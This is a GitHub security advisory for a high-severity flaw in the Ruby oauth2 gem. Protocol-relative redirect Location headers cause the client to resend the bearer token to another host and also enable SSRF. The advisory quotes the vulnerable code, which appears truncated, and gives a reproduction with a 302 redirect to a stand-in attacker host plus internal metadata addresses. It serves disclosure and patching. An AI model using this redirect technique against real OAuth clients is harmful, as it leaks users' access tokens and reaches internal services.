GitHub Advisoryadvisory · RubyGems
GHSA-pp92-crg2-gfv9 OAuth2::Client#request: Protocol-relative redirect Location overrides authority, leaking bearer Authorization to attacker host
HIGH
Official page ↗
- Aliases
- CVE-2026-54603
- Ecosystem
- RubyGems
- Packages
- oauth2
- Severity
- High
- CVSS vector
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
- Weaknesses
- CWE-200, CWE-601
- Reviewed
- 2026-07-28
Affected packages
• RubyGems oauth2: >= 0.4.0, < 2.0.22 → fixed in 2.0.22
Description
Summary
When an application uses `OAuth2::Client` (typically via an `OAuth2::AccessToken`) and the configured authorization server returns a redirect whose `Location` header is a protocol-relative URI of the form `//attacker.example/leak`, `OAuth2::Client#request` resolves the redirect with `response.response.env.url.merge(location)`. Per RFC 3986 §5.2, an input that starts with `//` is a network-path reference and replaces the authority of the base URL: `URI("http://idp.trusted/userinfo").merge("//attacker.example/leak")` returns `http://attacker.example/leak`. The recursive `request(verb, full_location, req_opts)` call then re-sends the request to the attacker host while preserving the `Authorization: Bearer ` header that `OAuth2::AccessToken#configure_authentication!` installed on `req_opts[:headers]` for the original request.
The result is a one-shot cross-origin credential disclosure: any 30x response from the IdP that an attacker can influence (a compromised endpoint, a tenant-controlled IdP in a multi-tenant deployment, or an open-redirect handler that does not normalise the `Location` it emits) can extract the bearer access token of the calling user.
Affected
• `oauth2` v2.0.21 and all prior versions back to and including v0.4.0.
• The underlying unsafe redirect-following behavior that reuses headers starts in v0.4.0 via https://github.com/ruby-oauth/oauth2/commit/b944da54cd70487c06d7252b9e4e7948eae56e73
• The vulnerability was retained when the code was refactored to a redirect helper, and in this form has been present in `OAuth2::Client#request` since v2.0.0 via https://github.com/ruby-oauth/oauth2/commit/b944da54cd70487c06d7252b9e4e7948eae56e73
• Ruby 4.0.5 on `arm64-darwin25`. The behaviour of `URI#merge` for protocol-relative inputs is RFC-conformant and the same on every supported Ruby (≥ 2.x).
• Adapter independence: confirmed against the default `faraday` 2.14.2 + `faraday-net_http` 3.4.3 stack. The `URI#merge` call is in `oauth2` itself, not in Faraday, so the issue is not adapter-specific.
Impact
A consumer that uses `OAuth2::AccessToken#get` / `#post` / `#request` against an IdP whose redirect target an attacker can influence (open redirect, malicious tenant, or in-path adversary) loses two things at once:
1. Cross-origin credential disclosure. The connection-scoped `Authorization: Bearer ` header attached by `OAuth2::AccessToken#configure_authentication!` is sent to the attacker host on the very next request, with no second user interaction.
2. SSRF from the application server. The OAuth2 client follows the redirect on behalf of the application, so the host that ultimately receives the request is one the attacker chooses — useful for hitting internal addresses (`//169.254.169.254/...`, `//127.0.0.1:.../...`) that the application server can reach but the attacker cannot.
The combined primitive is stronger than the usual cross-origin-redirect leak because no application-level cooperation is required and no `Location: http://attacker/...` is needed — the protocol-relative `//attacker/x` form slips past naive scheme-based Location filters that allow same-scheme-implicit redirects.
Vulnerable code
`lib/oauth2/client.rb#L146-L182` at commit `e2d509705db6091c8d5f27c31e29c58e39e51c7c` (tag `v2.0.20`):
```ruby
def request(verb, url, req_opts = {}, &block)
response = execute_request(verb, url, req_opts, &block)
status = response.status
case status
when 301, 302, 303, 307
req_opts[:redirect_count] ||= 0
req_opts[:redirect_count] += 1
return response if req_opts[:redirect_count] > options[:max_redirects]
if status == 303
verb = :get
req_opts.delete(:body)
end
location = response.headers["location"]
if location
full_location = response.response.env.url.merge(location) # options[:header_format] % token}
end
```
The default token mode is `:header`, so every `AccessToken#get` / `#post` / `#request` call attaches `Authorization: Bearer ` to `req_opts[:headers]`. That same dictionary is then forwarded verbatim into the redirected request, because `Client#request` does not inspect or strip `req_opts[:headers]` when the redirect crosses origins.
Reachable in production
The vulnerable path is the documented `AccessToken#get` / `AccessToken#post` flow that every `oauth2` integration uses to call a resource server after the token exchange. The redirect handler is enabled unconditionally for status codes 301, 302, 303, and 307, up to `options[:max_redirects]` hops (default 5). No opt-in flag is required: a single 302 response with a protocol-relative `Location` header is enough to redirect the next request to an attacker host with the bearer token attached.
Realistic upstream triggers:
1. Open redirect on the IdP. Many authorization servers expose endpoints that emit `Location` based on user input (for example logout flows, `redirect_uri` echoes, branded splash pages). When that endpoint does not normalise the user-supplied target, an attacker can plant `//attacker.example/leak` as the redirect target and induce the oauth2 client to follow it.
2. Tenant-controlled IdP. Multi-tenant SaaS where each tenant configures its own OIDC issuer URL via `OAuth2::Client.new(... , site: tenant_supplied_url)` allows a malicious tenant to set `site:` to its own server and emit the protocol-relative `Location` directly.
3. Compromised or downgraded IdP. A network-position adversary capable of altering a single response header before TLS termination (for example via a proxy that legitimately rewrites Location headers) can craft the protocol-relative form.
In all three cases the access token is sent to the attacker host on the very next request: there is no second-hop redirect chain, no second user interaction, and no opportunity for the application to inspect the redirect target.
Reproduction
The issue can be reproduced with a client using the default bearer-token header mode against an `oauth2` version before `2.0.22`.
Minimal setup:
```ruby
require "oauth2"
client = OAuth2::Client.new(
"client-id",
"client-secret",
site: "http://idp.example.test"
)
token = OAuth2::AccessToken.new(client, "SECRET-BEARER-TOKEN")
token.get("/userinfo")
```
If the configured authorization/resource server responds to that request with a redirect such as:
```http
HTTP/1.1 302 Found
Location: //attacker.example.test/leak
Content-Length: 0
```
then vulnerable versions resolve the protocol-relative `Location` as a cross-origin URL and recursively issue the follow-up request while preserving the original request headers. Because `OAuth2::AccessToken` uses `Authorization: Bearer …
Related
Alias · CVE (1)
- CVE-2026-54603 OAuth2 is a Ruby wrapper for the OAuth 2.0 and 2.1 authorization frameworks, including OpenID Connect (OIDC). vulnerability